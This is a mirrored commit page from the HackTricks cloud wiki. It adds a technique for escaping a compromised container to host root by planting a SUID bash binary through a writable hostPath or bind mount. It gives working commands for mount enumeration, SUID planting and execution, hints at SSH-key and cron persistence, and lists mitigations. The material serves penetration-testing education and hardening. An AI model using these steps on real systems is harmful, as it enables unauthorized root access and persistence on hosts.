mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-10 06:40:47 -08:00
Add content from: Forgotten
- Remove searchindex.js (auto-generated file)
This commit is contained in:
@@ -22,6 +22,62 @@ You can check this **docker breakouts to try to escape** from a pod you have com
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
|
||||
|
||||
If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root.
|
||||
|
||||
Key conditions:
|
||||
- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write).
|
||||
- The host filesystem backing the mount is not mounted with the nosuid option.
|
||||
- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path).
|
||||
|
||||
How to identify writable hostPath/bind mounts:
|
||||
- With kubectl, check for hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
|
||||
- From inside the container, list mounts and look for host-path mounts and test writability:
|
||||
|
||||
```bash
|
||||
# Inside the compromised container
|
||||
mount | column -t
|
||||
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
|
||||
findmnt -T / 2>/dev/null | sed -n '1,200p'
|
||||
# Test if a specific mount path is writable
|
||||
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
|
||||
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
|
||||
# Quick practical test
|
||||
printf "ping\n" > "$TEST_DIR/.w"
|
||||
```
|
||||
|
||||
Plant a setuid root binary from the container:
|
||||
|
||||
```bash
|
||||
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
|
||||
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
|
||||
cp /bin/bash "$MOUNT/suidbash"
|
||||
chmod 6777 "$MOUNT/suidbash"
|
||||
ls -l "$MOUNT/suidbash"
|
||||
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
|
||||
```
|
||||
|
||||
Execute on the host to get root:
|
||||
|
||||
```bash
|
||||
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
|
||||
# Example host path: /opt/limesurvey/suidbash
|
||||
ls -l /opt/limesurvey/suidbash
|
||||
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
|
||||
```
|
||||
|
||||
Notes and troubleshooting:
|
||||
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep <mountpoint>) and look for nosuid.
|
||||
- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
|
||||
- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
|
||||
|
||||
Mitigations:
|
||||
- Avoid hostPath where possible; prefer dedicated volumes.
|
||||
- If hostPath is required, enforce readOnly: true and use restrictive mount options (nosuid,noexec,nodev). Apply Pod Security Standards/Admission to forbid hostPath by default.
|
||||
- Run containers as non-root and drop capabilities; use SELinux/AppArmor and readOnlyRootFilesystem when possible.
|
||||
- Monitor for unexpected SUID files on host and integrity changes under directories exposed to containers.
|
||||
|
||||
### Abusing Kubernetes Privileges
|
||||
|
||||
As explained in the section about **kubernetes enumeration**:
|
||||
@@ -393,6 +449,15 @@ Off-Menu +
|
||||
|
||||
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
|
||||
|
||||
## References
|
||||
|
||||
- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
|
||||
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
|
||||
- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/)
|
||||
- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash)
|
||||
- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html)
|
||||
- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user